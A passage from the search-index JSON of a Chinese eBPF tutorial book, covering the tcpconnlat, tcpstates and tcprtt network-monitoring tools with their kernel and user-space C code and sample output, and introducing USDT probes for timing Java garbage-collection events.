BCC","id":"8","title":"BCC"},"80":{"body":"$ make\n... BPF .output/tcpconnlat.bpf.o GEN-SKEL .output/tcpconnlat.skel.h CC .output/tcpconnlat.o BINARY tcpconnlat\n$ sudo ./tcpconnlat PID COMM IP SADDR DADDR DPORT LAT(ms)\n222564 wget 4 192.168.88.15 110.242.68.3 80 25.29\n222684 wget 4 192.168.88.15 167.179.101.42 443 246.76\n222726 ssh 4 192.168.88.15 167.179.101.42 22 241.17\n222774 ssh 4 192.168.88.15 1.15.149.151 22 25.31 源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/13-tcpconnlat 参考资料： tcpconnlat","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 编译运行","id":"80","title":"编译运行"},"81":{"body":"通过本篇 eBPF 入门实践教程，我们学习了如何使用 eBPF 来跟踪和统计 TCP 连接建立的延时。我们首先深入探讨了 eBPF 程序如何在内核态监听特定的内核函数，然后通过捕获这些函数的调用，从而得到连接建立的起始时间和结束时间，计算出延时。 我们还进一步了解了如何使用 BPF maps 来在内核态存储和查询数据，从而在 eBPF 程序的多个部分之间共享数据。同时，我们也探讨了如何使用 perf events 来将数据从内核态发送到用户态，以便进一步处理和展示。 在用户态，我们介绍了如何使用 libbpf 库的 API，例如 perf_buffer__poll，来接收和处理内核态发送过来的数据。我们还讲解了如何对这些数据进行解析和打印，使得它们能以人类可读的形式显示出来。 如果您希望学习更多关于 eBPF 的知识和实践，请查阅 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。 接下来的教程将进一步探讨 eBPF 的高级特性，例如如何使用 eBPF 来追踪网络包的传输路径，如何利用 eBPF 对系统的性能进行细粒度的监控等等。我们会继续分享更多有关 eBPF 开发实践的内容，帮助您更好地理解和掌握 eBPF 技术，希望这些内容对您在 eBPF 开发道路上的学习和实践有所帮助。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 总结","id":"81","title":"总结"},"82":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 在我们的 eBPF 入门实践教程系列的这一篇，我们将介绍两个示例程序：tcpstates 和 tcprtt。tcpstates 用于记录 TCP 连接的状态变化，而 tcprtt 则用于记录 TCP 的往返时间 (RTT, Round-Trip Time)。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » eBPF入门实践教程十四：记录 TCP 连接状态与 TCP RTT","id":"82","title":"eBPF入门实践教程十四：记录 TCP 连接状态与 TCP RTT"},"83":{"body":"网络质量在当前的互联网环境中至关重要。影响网络质量的因素有许多，包括硬件、网络环境、软件编程的质量等。为了帮助用户更好地定位网络问题，我们引入了 tcprtt 这个工具。tcprtt 可以监控 TCP 链接的往返时间，从而评估网络质量，帮助用户找出可能的问题所在。 当 TCP 链接建立时，tcprtt 会自动根据当前系统的状况，选择合适的执行函数。在执行函数中，tcprtt 会收集 TCP 链接的各项基本信息，如源地址、目标地址、源端口、目标端口、耗时等，并将这些信息更新到直方图型的 BPF map 中。运行结束后，tcprtt 会通过用户态代码，将收集的信息以图形化的方式展示给用户。 tcpstates 则是一个专门用来追踪和打印 TCP 连接状态变化的工具。它可以显示 TCP 连接在每个状态中的停留时长，单位为毫秒。例如，对于一个单独的 TCP 会话，tcpstates 可以打印出类似以下的输出： SKADDR C-PID C-COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS\nffff9fd7e8192000 22384 curl 100.66.100.185 0 52.33.159.26 80 CLOSE -> SYN_SENT 0.000\nffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 SYN_SENT -> ESTABLISHED 1.373\nffff9fd7e8192000 22384 curl 100.66.100.185 63446 52.33.159.26 80 ESTABLISHED -> FIN_WAIT1 176.042\nffff9fd7e819 2000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT1 -> FIN_WAIT2 0.536\nffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT2 -> CLOSE 0.006 以上输出中，最多的时间被花在了 ESTABLISHED 状态，也就是连接已经建立并在传输数据的状态，这个状态到 FIN_WAIT1 状态（开始关闭连接的状态）的转变过程中耗费了 176.042 毫秒。 在我们接下来的教程中，我们会更深入地探讨这两个工具，解释它们的实现原理，希望这些内容对你在使用 eBPF 进行网络和性能分析方面的工作有所帮助。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcprtt 与 tcpstates","id":"83","title":"tcprtt 与 tcpstates"},"84":{"body":"由于篇幅所限，这里我们主要讨论和分析对应的 eBPF 内核态代码实现。以下是 tcpstate 的 eBPF 代码： const volatile bool filter_by_sport = false;\nconst volatile bool filter_by_dport = false;\nconst volatile short target_family = 0; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u16); __type(value, __u16);\n} sports SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u16); __type(value, __u16);\n} dports SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, struct sock *); __type(value, __u64);\n} timestamps SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(__u32)); __uint(value_size, sizeof(__u32));\n} events SEC(\".maps\"); SEC(\"tracepoint/sock/inet_sock_set_state\")\nint handle_set_state(struct trace_event_raw_inet_sock_set_state *ctx)\n{ struct sock *sk = (struct sock *)ctx->skaddr; __u16 family = ctx->family; __u16 sport = ctx->sport; __u16 dport = ctx->dport; __u64 *tsp, delta_us, ts; struct event event = {}; if (ctx->protocol != IPPROTO_TCP) return 0; if (target_family && target_family != family) return 0; if (filter_by_sport && !bpf_map_lookup_elem(&sports, &sport)) return 0; if (filter_by_dport && !bpf_map_lookup_elem(&dports, &dport)) return 0; tsp = bpf_map_lookup_elem(&timestamps, &sk); ts = bpf_ktime_get_ns(); if (!tsp) delta_us = 0; else delta_us = (ts - *tsp) / 1000; event.skaddr = (__u64)sk; event.ts_us = ts / 1000; event.delta_us = delta_us; event.pid = bpf_get_current_pid_tgid() >> 32; event.oldstate = ctx->oldstate; event.newstate = ctx->newstate; event.family = family; event.sport = sport; event.dport = dport; bpf_get_current_comm(&event.task, sizeof(event.task)); if (family == AF_INET) { bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_rcv_saddr); bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_daddr); } else { /* family == AF_INET6 */ bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); if (ctx->newstate == TCP_CLOSE) bpf_map_delete_elem(&timestamps, &sk); else bpf_map_update_elem(&timestamps, &sk, &ts, BPF_ANY); return 0;\n} tcpstates主要依赖于 eBPF 的 Tracepoints 来捕获 TCP 连接的状态变化，从而跟踪 TCP 连接在每个状态下的停留时间。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcpstate","id":"84","title":"tcpstate"},"85":{"body":"在tcpstates程序中，首先定义了几个 BPF Maps，它们是 eBPF 程序和用户态程序之间交互的主要方式。sports和dports分别用于存储源端口和目标端口，用于过滤 TCP 连接；timestamps用于存储每个 TCP 连接的时间戳，以计算每个状态的停留时间；events则是一个 perf_event 类型的 map，用于将事件数据发送到用户态。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 定义 BPF Maps","id":"85","title":"定义 BPF Maps"},"86":{"body":"程序定义了一个名为handle_set_state的函数，该函数是一个 tracepoint 类型的程序，它将被挂载到sock/inet_sock_set_state这个内核 tracepoint 上。每当 TCP 连接状态发生变化时，这个 tracepoint 就会被触发，然后执行handle_set_state函数。 在handle_set_state函数中，首先通过一系列条件判断确定是否需要处理当前的 TCP 连接，然后从timestampsmap 中获取当前连接的上一个时间戳，然后计算出停留在当前状态的时间。接着，程序将收集到的数据放入一个 event 结构体中，并通过bpf_perf_event_output函数将该 event 发送到用户态。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 追踪 TCP 连接状态变化","id":"86","title":"追踪 TCP 连接状态变化"},"87":{"body":"最后，根据 TCP 连接的新状态，程序将进行不同的操作：如果新状态为 TCP_CLOSE，表示连接已关闭，程序将从timestampsmap 中删除该连接的时间戳；否则，程序将更新该连接的时间戳。 用户态的部分主要是通过 libbpf 来加载 eBPF 程序，然后通过 perf_event 来接收内核中的事件数据： static void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { char ts[32], saddr[26], daddr[26]; struct event* e = data; struct tm* tm; int family; time_t t; if (emit_timestamp) { time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); printf(\"%8s \", ts); } inet_ntop(e->family, &e->saddr, saddr, sizeof(saddr)); inet_ntop(e->family, &e->daddr, daddr, sizeof(daddr)); if (wide_output) { family = e->family == AF_INET ? 4 : 6; printf( \"%-16llx %-7d %-16s %-2d %-26s %-5d %-26s %-5d %-11s -> %-11s \" \"%.3f\\n\", e->skaddr, e->pid, e->task, family, saddr, e->sport, daddr, e->dport, tcp_states[e->oldstate], tcp_states[e->newstate], (double)e->delta_us / 1000); } else { printf( \"%-16llx %-7d %-10.10s %-15s %-5d %-15s %-5d %-11s -> %-11s %.3f\\n\", e->skaddr, e->pid, e->task, saddr, e->sport, daddr, e->dport, tcp_states[e->oldstate], tcp_states[e->newstate], (double)e->delta_us / 1000); }\n} handle_event就是这样一个回调函数，它会被 perf_event 调用，每当内核有新的事件到达时，它就会处理这些事件。 在handle_event函数中，我们首先通过inet_ntop函数将二进制的 IP 地址转换成人类可读的格式，然后根据是否需要输出宽格式，分别打印不同的信息。这些信息包括了事件的时间戳、源 IP 地址、源端口、目标 IP 地址、目标端口、旧状态、新状态以及在旧状态停留的时间。 这样，用户就可以清晰地看到 TCP 连接状态的变化，以及每个状态的停留时间，从而帮助他们诊断网络问题。 总结起来，用户态部分的处理主要涉及到了以下几个步骤： 使用 libbpf 加载并运行 eBPF 程序。 设置回调函数来接收内核发送的事件。 处理接收到的事件，将其转换成人类可读的格式并打印。 以上就是tcpstates程序用户态部分的主要实现逻辑。通过这一章的学习，你应该已经对如何在用户态处理内核事件有了更深入的理解。在下一章中，我们将介绍更多关于如何使用 eBPF 进行网络监控的知识。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 更新时间戳","id":"87","title":"更新时间戳"},"88":{"body":"在本章节中，我们将分析tcprtt eBPF 程序的内核态代码。tcprtt是一个用于测量 TCP 往返时间(Round Trip Time, RTT)的程序，它将 RTT 的信息统计到一个 histogram 中。 /// @sample {\"interval\": 1000, \"type\" : \"log2_hist\"}\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u64); __type(value, struct hist);\n} hists SEC(\".maps\"); static struct hist zero; SEC(\"fentry/tcp_rcv_established\")\nint BPF_PROG(tcp_rcv, struct sock *sk)\n{ const struct inet_sock *inet = (struct inet_sock *)(sk); struct tcp_sock *ts; struct hist *histp; u64 key, slot; u32 srtt; if (targ_sport && targ_sport != inet->inet_sport) return 0; if (targ_dport && targ_dport != sk->__sk_common.skc_dport) return 0; if (targ_saddr && targ_saddr != inet->inet_saddr) return 0; if (targ_daddr && targ_daddr != sk->__sk_common.skc_daddr) return 0; if (targ_laddr_hist) key = inet->inet_saddr; else if (targ_raddr_hist) key = inet->sk.__sk_common.skc_daddr; else key = 0; histp = bpf_map_lookup_or_try_init(&hists, &key, &zero); if (!histp) return 0; ts = (struct tcp_sock *)(sk); srtt = BPF_CORE_READ(ts, srtt_us) >> 3; if (targ_ms) srtt /= 1000U; slot = log2l(srtt); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; __sync_fetch_and_add(&histp->slots[slot], 1); if (targ_show_ext) { __sync_fetch_and_add(&histp->latency, srtt); __sync_fetch_and_add(&histp->cnt, 1); } return 0;\n} 首先，我们定义了一个 hash 类型的 eBPF map，名为hists，它用来存储 RTT 的统计信息。在这个 map 中，键是 64 位整数，值是一个hist结构，这个结构包含了一个数组，用来存储不同 RTT 区间的数量。 接着，我们定义了一个 eBPF 程序，名为tcp_rcv，这个程序会在每次内核中处理 TCP 收包的时候被调用。在这个程序中，我们首先根据过滤条件（源/目标 IP 地址和端口）对 TCP 连接进行过滤。如果满足条件，我们会根据设置的参数选择相应的 key（源 IP 或者目标 IP 或者 0），然后在hists map 中查找或者初始化对应的 histogram。 接下来，我们读取 TCP 连接的srtt_us字段，这个字段表示了平滑的 RTT 值，单位是微秒。然后我们将这个 RTT 值转换为对数形式，并将其作为 slot 存储到 histogram 中。 如果设置了show_ext参数，我们还会将 RTT 值和计数器累加到 histogram 的latency和cnt字段中。 通过以上的处理，我们可以对每个 TCP 连接的 RTT 进行统计和分析，从而更好地理解网络的性能状况。 总结起来，tcprtt eBPF 程序的主要逻辑包括以下几个步骤： 根据过滤条件对 TCP 连接进行过滤。 在hists map 中查找或者初始化对应的 histogram。 读取 TCP 连接的srtt_us字段，并将其转换为对数形式，存储到 histogram 中。 如果设置了show_ext参数，将 RTT 值和计数器累加到 histogram 的latency和cnt字段中。 tcprtt 挂载到了内核态的 tcp_rcv_established 函数上： void tcp_rcv_established(struct sock *sk, struct sk_buff *skb); 这个函数是在内核中处理TCP接收数据的主要函数，主要在TCP连接处于ESTABLISHED状态时被调用。这个函数的处理逻辑包括一个快速路径和一个慢速路径。快速路径在以下几种情况下会被禁用： 我们宣布了一个零窗口 - 零窗口探测只能在慢速路径中正确处理。 收到了乱序的数据包。 期待接收紧急数据。 没有剩余的缓冲区空间。 接收到了意外的TCP标志/窗口值/头部长度（通过检查TCP头部与预设标志进行检测）。 数据在两个方向上都在传输。快速路径只支持纯发送者或纯接收者（这意味着序列号或确认值必须保持不变）。 接收到了意外的TCP选项。 当这些条件不满足时，它会进入一个标准的接收处理过程，这个过程遵循RFC793来处理所有情况。前三种情况可以通过正确的预设标志设置来保证，剩下的情况则需要内联检查。当一切都正常时，快速处理过程会在tcp_data_queue函数中被开启。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcprtt","id":"88","title":"tcprtt"},"89":{"body":"对于 tcpstates，可以通过以下命令编译和运行 libbpf 应用： $ make\n... BPF .output/tcpstates.bpf.o GEN-SKEL .output/tcpstates.skel.h CC .output/tcpstates.o BINARY tcpstates\n$ sudo ./tcpstates SKADDR PID COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS\nffff9bf61bb62bc0 164978 node 192.168.88.15 0 52.178.17.2 443 CLOSE -> SYN_SENT 0.000\nffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 SYN_SENT -> ESTABLISHED 225.794\nffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 ESTABLISHED -> CLOSE_WAIT 901.454\nffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 CLOSE_WAIT -> LAST_ACK 0.793\nffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> LAST_ACK 0.086\nffff9bf61bb62bc0 228759 kworker/u6 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> CLOSE 0.193\nffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 CLOSE -> LISTEN 0.000\nffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 LISTEN -> CLOSE 1.763\nffff9bf7109d6900 88750 node 127.0.0.1 39755 127.0.0.1 50966 ESTABLISHED -> FIN_WAIT1 0.000 对于 tcprtt，我们可以使用 eunomia-bpf 编译运行这个例子： Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc runqlat.bpf.c runqlat.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... 运行： $ sudo ecli run package.json -h\nA simple eBPF program Usage: package.json [OPTIONS] Options: --verbose Whether to show libbpf debug information --targ_laddr_hist Set value of `bool` variable targ_laddr_hist --targ_raddr_hist Set value of `bool` variable targ_raddr_hist --targ_show_ext Set value of `bool` variable targ_show_ext --targ_sport <targ_sport> Set value of `__u16` variable targ_sport --targ_dport <targ_dport> Set value of `__u16` variable targ_dport --targ_saddr <targ_saddr> Set value of `__u32` variable targ_saddr --targ_daddr <targ_daddr> Set value of `__u32` variable targ_daddr --targ_ms Set value of `bool` variable targ_ms -h, --help Print help -V, --version Print version Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. $ sudo ecli run package.json\nkey = 0\nlatency = 0\ncnt = 0 (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 0 | | 512 -> 1023 : 4 |******************** | 1024 -> 2047 : 1 |***** | 2048 -> 4095 : 0 | | 4096 -> 8191 : 8 |****************************************| key = 0\nlatency = 0\ncnt = 0 (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 0 | | 512 -> 1023 : 11 |*************************** | 1024 -> 2047 : 1 |** | 2048 -> 4095 : 0 | | 4096 -> 8191 : 16 |****************************************| 8192 -> 16383 : 4 |********** | 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/14-tcpstates 参考资料： tcpstates tcprtt libbpf-tools/tcpstates","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 编译运行","id":"89","title":"编译运行"},"9":{"body":"eBPF Go库提供了一个通用的eBPF库，它解耦了获取 eBPF 字节码的过程和 eBPF 程序的加载和管理，并实现了类似 libbpf 一样的 CO- 功能。eBPF程序通常是通过编写高级语言创建的，然后使用clang/LLVM编译器编译为eBPF字节码。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF Go library","id":"9","title":"eBPF Go library"},"90":{"body":"通过本篇 eBPF 入门实践教程，我们学习了如何使用tcpstates和tcprtt这两个 eBPF 示例程序，监控和分析 TCP 的连接状态和往返时间。我们了解了tcpstates和tcprtt的工作原理和实现方式，包括如何使用 BPF map 存储数据，如何在 eBPF 程序中获取和处理 TCP 连接信息，以及如何在用户态应用程序中解析和显示 eBPF 程序收集的数据。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。接下来的教程将进一步探讨 eBPF 的高级特性，我们会继续分享更多有关 eBPF 开发实践的内容。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 总结","id":"90","title":"总结"},"91":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能，使其在网络和系统性能分析方面具有广泛的应用。此外，eBPF 还支持使用 USDT (用户级静态定义跟踪点) 捕获用户态的应用程序行为。 在我们的 eBPF 入门实践教程系列的这一篇，我们将介绍如何使用 eBPF 和 USDT 来捕获和分析 Java 的垃圾回收 (GC) 事件的耗时。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » eBPF 入门实践教程十五：使用 USDT 捕获用户态 Java GC 事件耗时","id":"91","title":"eBPF 入门实践教程十五：使用 USDT 捕获用户态 Java GC 事件耗时"},"92":{"body":"USDT 是一种在应用程序中插入静态跟踪点的机制，它允许开发者在程序的关键位置插入可用于调试和性能分析的探针。这些探针可以在运行时被 DTrace、SystemTap 或 eBPF 等工具动态激活，从而在不重启应用程序或更改程序代码的情况下，获取程序的内部状态和性能指标。USDT 在很多开源软件，如 MySQL、PostgreSQL、Ruby、Python 和 Node.js 等都有广泛的应用。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » USDT 介绍","id":"92","title":"USDT 介绍"},"93":{"body":"在用户层面进行动态跟踪，即用户级动态跟踪（User-Level Dynamic Tracing）允许我们对任何用户级别的代码进行插桩。比如，我们可以通过在 MySQL 服务器的 dispatch_command() 函数上进行插桩，来跟踪服务器的查询请求： # ./uprobe 'p:cmd /opt/bin/mysqld:_Z16dispatch_command19enum_server_commandP3THDPcj +0(%dx):string'\nTracing uprobe cmd (p:cmd /opt/bin/mysqld:0x2dbd40 +0(%dx):string). Ctrl-C to end. mysqld-2855 [001] d... 19957757.590926: cmd: (0x6dbd40) arg1=\"show tables\" mysqld-2855 [001] d... 19957759.703497: cmd: (0x6dbd40) arg1=\"SELECT * FROM numbers\"\n[...] 这里我们使用了 uprobe 工具，它利用了 Linux 的内置功能：ftrace（跟踪器）和 uprobes（用户级动态跟踪，需要较新的 Linux 版本，例如 4.0 左右）。其他的跟踪器，如 perf_events 和 SystemTap，也可以实现此功能。 许多其他的 MySQL 函数也可以被跟踪以获取更多的信息。我们可以列出和计算这些函数的数量： # ./uprobe -l /opt/bin/mysqld | more\naccount_hash_get_key\nadd_collation\nadd_compiled_collation\nadd_plugin_noargs\nadjust_time_range\n[...]\n# ./uprobe -l /opt/bin/mysqld | wc -l\n21809 这有 21,000 个函数。我们也可以跟踪库函数，甚至是单个的指令偏移。 用户级动态跟踪的能力是非常强大的，它可以解决无数的问题。然而，使用它也有一些困难：需要确定需要跟踪的代码，处理函数参数，以及应对代码的更改。 用户级静态定义跟踪（User-level Statically Defined Tracing, USDT）则可以在某种程度上解决这些问题。USDT 探针（或者称为用户级 \"marker\"）是开发者在代码的关键位置插入的跟踪宏，提供稳定且已经过文档说明的 API。这使得跟踪工作变得更加简单。 使用 USDT，我们可以简单地跟踪一个名为 mysql:query__start 的探针，而不是去跟踪那个名为 _Z16dispatch_command19enum_server_commandP3THDPcj 的 C++ 符号，也就是 dispatch_command() 函数。当然，我们仍然可以在需要的时候去跟踪 dispatch_command() 以及 其他 21,000 个 mysqld 函数，但只有当 USDT 探针无法解决问题的时候我们才需要这么做。 在 Linux 中的 USDT，无论是哪种形式的静态跟踪点，其实都已经存在了几十年。它最近由于 Sun 的 DTrace 工具的流行而再次受到关注，这使得许多常见的应用程序，包括 MySQL、PostgreSQL、Node.js、Java 等都加入了 USDT。SystemTap 则开发了一种可以消费这些 DTrace 探针的方式。 你可能正在运行一个已经包含了 USDT 探针的 Linux 应用程序，或者可能需要重新编译（通常是 --enable-dtrace）。你可以使用 readelf 来进行检查，例如对于 Node.js： # readelf -n node\n[...]\nNotes at offset 0x00c43058 with length 0x00000494: Owner Data size Description stapsdt 0x0000003c NT_STAPSDT (SystemTap probe descriptors) Provider: node Name: gc__start Location: 0x0000000000bf44b4, Base: 0x0000000000f22464, Semaphore: 0x0000000001243028 Arguments: 4@%esi 4@%edx 8@%rdi\n[...] stapsdt 0x00000082 NT_STAPSDT (SystemTap probe descriptors) Provider: node Name: http__client__request Location: 0x0000000000bf48ff, Base: 0x0000000000f22464, Semaphore: 0x0000000001243024 Arguments: 8@%rax 8@%rdx 8@-136(%rbp) -4@-140(%rbp) 8@-72(%rbp) 8@-80(%rbp) -4@-144(%rbp)\n[...] 这就是使用 --enable-dtrace 重新编译的 node，以及安装了提供 \"dtrace\" 功能来构建 USDT 支持的 systemtap-sdt-dev 包。这里显示了两个探针：node:gc__start（开始进行垃圾回收）和 node:http__client__request。 在这一点上，你可以使用 SystemTap 或者 LTTng 来跟踪这些探针。然而，内置的 Linux 跟踪器，比如 ftrace 和 perf_events，目前还无法做到这一点（尽管 perf_events 的支持正在开发中）。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 用户层面的追踪机制：用户级动态跟踪和 USDT","id":"93","title":"用户层面的追踪机制：用户级动态跟踪和 USDT"},"94":{"body":"Java 作为一种高级编程语言，其自动垃圾回收（GC）是其核心特性之一。Java GC 的目标是自动地回收那些不再被程序使用的内存空间，从而减轻程序员在内存管理方面的负担。然而，GC 过程可能会引发应用程序的停顿，对程序的性能和响应时间产生影响。因此，对 Java GC 事件进行监控和分析，对于理解和优化 Java 应用的性能是非常重要的。 在接下来的教程中，我们将演示如何使用 eBPF 和 USDT 来监控和分析 Java GC 事件的耗时，希望这些内容对你在使用 eBPF 进行应用性能分析方面的工作有所帮助。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » Java GC 介绍","id":"94","title":"Java GC 介绍"},"95":{"body":"Java GC 的 eBPF 程序分为内核态和用户态两部分，我们会分别介绍这两部分的实现机制。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » eBPF 实现机制","id":"95","title":"eBPF 实现机制"},"96":{"body":"/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n/* Copyright (c) 2022 Chen Tao */\n#include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_core_read.h>\n#include <bpf/usdt.bpf.h>\n#include \"javagc.h\" struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 100); __type(key, uint32_t); __type(value, struct data_t);\n} data_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __type(key, int); __type(value, int);\n} perf_map SEC(\".maps\"); __u32 time; static int gc_start(struct pt_regs *ctx)\n{ struct data_t data = {}; data.cpu = bpf_get_smp_processor_id(); data.pid = bpf_get_current_pid_tgid() >> 32; data.ts = bpf_ktime_get_ns(); bpf_map_update_elem(&data_map, &data.pid, &data, 0); return 0;\n} static int gc_end(struct pt_regs *ctx)\n{ struct data_t data = {}; struct data_t *p; __u32 val; data.cpu = bpf_get_smp_processor_id(); data.pid = bpf_get_current_pid_tgid() >> 32; data.ts = bpf_ktime_get_ns(); p = bpf_map_lookup_elem(&data_map, &data.pid); if (!p) return 0; val = data.ts - p->ts; if (val > time) { data.ts = val; bpf_perf_event_output(ctx, &perf_map, BPF_F_CURRENT_CPU, &data, sizeof(data)); } bpf_map_delete_elem(&data_map, &data.pid); return 0;\n} SEC(\"usdt\")\nint handle_gc_start(struct pt_regs *ctx)\n{ return gc_start(ctx);\n} SEC(\"usdt\")\nint handle_gc_end(struct pt_regs *ctx)\n{ return gc_end(ctx);\n} SEC(\"usdt\")\nint handle_mem_pool_gc_start(struct pt_regs *ctx)\n{ return gc_start(ctx);\n} SEC(\"usdt\")\nint handle_mem_pool_gc_end(struct pt_regs *ctx)\n{ return gc_end(ctx);\n} char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 首先，我们定义了两个映射（map）： data_map：这个 hashmap 存储每个进程 ID 的垃圾收集开始时间。data_t 结构体包含进程 ID、CPU ID 和时间戳。 perf_map：这是一个 perf event array，用于将数据发送回用户态程序。 然后，我们有四个处理函数：gc_start、gc_end 和两个 USDT 处理函数 handle_mem_pool_gc_start 和 handle_mem_pool_gc_end。这些函数都用 BPF 的 SEC(\"usdt\") 宏注解，以便在 Java 进程中捕获到与垃圾收集相关的 USDT 事件。 gc_start 函数在垃圾收集开始时被调用。它首先获取当前的 CPU ID、进程 ID 和时间戳，然后将这些数据存入 data_map。 gc_end 函数在垃圾收集结束时被调用。它执行与 gc_start 类似的操作，但是它还从 data_map 中检索开始时间，并计算垃圾收集的持续时间。如果持续时间超过了设定的阈值（变量 time），那么它将数据发送回用户态程序。 handle_gc_start 和 handle_gc_end 是针对垃圾收集开始和结束事件的处理函数，它们分别调用了 gc_start 和 gc_end。 handle_mem_pool_gc_start 和 handle_mem_pool_gc_end 是针对内存池的垃圾收集开始和结束事件的处理函数，它们也分别调用了 gc_start 和 gc_end。 最后，我们有一个 LICENSE 数组，声明了该 BPF 程序的许可证，这是加载 BPF 程序所必需的。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 内核态程序","id":"96","title":"内核态程序"},"97":{"body":"用户态程序的主要目标是加载和运行eBPF程序，以及处理来自内核态程序的数据。它是通过 libbpf 库来完成这些操作的。这里我们省略了一些通用的加载和运行 eBPF 程序的代码，只展示了与 USDT 相关的部分。 第一个函数 get_jvmso_path 被用来获取运行的Java虚拟机（JVM）的 libjvm.so 库的路径。首先，它打开了 /proc/<pid>/maps 文件，该文件包含了进程地址空间的内存映射信息。然后，它在文件中搜索包含 libjvm.so 的行，然后复制该行的路径到提供的参数中。 static int get_jvmso_path(char *path)\n{ char mode[16], line[128], buf[64]; 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数据结构，以及用于装载内核态代码的关键函数。在用户态代码include此文件之后调用对应的装载函数即可将 字节码装载到内核中。同样的，libbpf-bootstrap也有非常完备的入门教程，用户可以在 该处 得到详细的入门操作介绍。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » libbpf","id":"10","title":"libbpf"},"100":{"body":"通过本篇 